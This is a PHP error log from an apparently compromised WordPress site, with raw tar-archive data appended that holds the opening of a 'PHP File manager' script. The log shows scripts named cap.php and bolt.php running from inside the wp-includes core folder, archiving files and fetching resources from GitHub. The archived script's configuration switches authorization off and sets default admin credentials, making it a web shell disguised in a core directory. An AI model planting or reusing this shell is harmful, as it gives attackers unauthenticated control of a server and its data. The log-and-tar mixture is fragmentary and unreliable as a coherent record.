[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                   bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
